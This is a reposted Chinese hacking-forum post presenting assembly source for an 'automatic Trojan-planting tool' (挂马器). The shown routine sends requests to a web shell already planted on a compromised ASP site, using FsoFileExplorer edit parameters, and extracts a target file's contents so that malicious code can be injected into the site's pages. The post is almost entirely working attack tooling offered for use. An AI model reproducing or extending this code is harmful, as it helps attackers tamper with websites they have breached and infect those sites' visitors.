[转帖] 自动挂马器v1.1

文章作者：深灰色[http://www.av0day.com]
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

整个软件都很简单，最主要的是对字符串的处理，处理字符的核心代码发下： 代码:_GetAspFile proc
        invoke RtlZeroMemory,addr szLeixing,sizeof szLeixing
        invoke RtlZeroMemory,addr szPath,10256
        invoke RtlZeroMemory,addr szPath2,10256
        invoke RtlZeroMemory,addr szPath1,10256
        invoke RtlZeroMemory,addr szPath4,10256
        invoke RtlZeroMemory,addr szAspFileFata4,sizeof szAspFileFata4
        invoke GetDlgItemText,hEdit,IDC_EDIT2,addr szPath,10256
        invoke GetDlgItemText,hEdit,IDC_EDIT3,addr szPath2,sizeof szPath2
        ;invoke GetDlgItemText,hEdit,IDC_COMBOBOXEX1,addr szLeixing,sizeof szLeixing
        invoke RtlZeroMemory,addr szAspFileFata,sizeof szAspFileFata
        invoke RtlZeroMemory,addr szAspFileFata1,sizeof szAspFileFata1
        invoke RtlZeroMemory,addr szAspFileFata2,sizeof szAspFileFata2
        invoke RtlZeroMemory,addr szAspFileFata3,sizeof szAspFileFata4
        invoke GetDlgItemText,hEdit,IDC_EDIT4,addr szPath4,sizeof szPath4
        invoke lstrlen,addr szPath
        .if eax == NULL
        invoke MessageBox,0,CTXT("接口不能为空！"),CTXT("提示"),MB_ICONSTOP
        ret
        .endif
        invoke lstrlen,addr szPath2
        .if eax == NULL
        invoke MessageBox,0,CTXT("文件绝对路径不能为空！"),CTXT("提示"),MB_ICONSTOP
        ret
        .endif
     ;   invoke lstrlen,addr szLeixing
    ;    .if eax == NULL
    ;    invoke MessageBox,0,CTXT("类型不能为空！"),CTXT("提示"),MB_ICONSTOP
     ;   ret
     ;   .endif
        invoke wsprintf,addr szPath1,CTXT("http://%s"),addr szPath
        invoke lstrcat,addr szPath1,CTXT("?

fuckasm=FsoFileExplorer&theAct=showEdit&thePath=")
        invoke lstrcat,addr szPath1,addr szPath2
        invoke _SendFile1,addr szPath1
        mov hSize,0
        .while TRUE
        pushad
        inc hSize
        invoke lstrlen,addr szCookie
        sub eax,0
        lea esi,szCookie
        lea edi,szAspFileFata
        add esi,hSize
        mov ecx,eax
        rep movsb
        mov byte ptr [edi],0
        popad
        invoke StrStr,addr szAspFileFata,addr szAspFmt
        .if eax==NULL
        jmp _GoTo
        .endif
        .endw
  _GoTo:  
  mov hSize,0
        .while TRUE
        pushad
        inc hSize
        invoke lstrlen,addr szAspFileFata
        sub eax,hSize
        lea esi,szAspFileFata
        lea edi,szAspFileFata1
        add esi,0
        mov ecx,eax
        rep movsb
        mov byte ptr [edi],0
        popad
        invoke StrStr,addr szAspFileFata1,addr szAspFmt1
        .if eax==NULL
        jmp _Go
        .endif
        .endw
    _Go:
        
        invoke lstrlen,addr szAspFmt
        mov hSize,eax
        pushad
        invoke lstrlen,addr szAspFileFata1
        sub eax,0
        lea esi,szAspFileFata1
        lea edi,szAspFileFata2
        add esi,hSize
        mov ecx,eax
        rep movsb
        mov byte ptr [edi],0
        popad
        invoke lstrlen,addr szAspFmt1
        mov hSize,eax
        pushad
        invoke lstrlen,addr szAspFileFata2
        sub eax,hSize
        lea esi,szAspFileFata2
        lea edi,szAspFileFata3
        add esi,0
        mov ecx,eax
        rep movsb
        mov byte ptr [edi],0
        popad
        invoke RtlZeroMemory,addr szCookie,sizeof szCookie
        invoke StrStr,addr szAspFileFata3,addr szTeZheng
        .if eax != NULL
        mov hYes,1
        .endif
ret
_GetAspFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>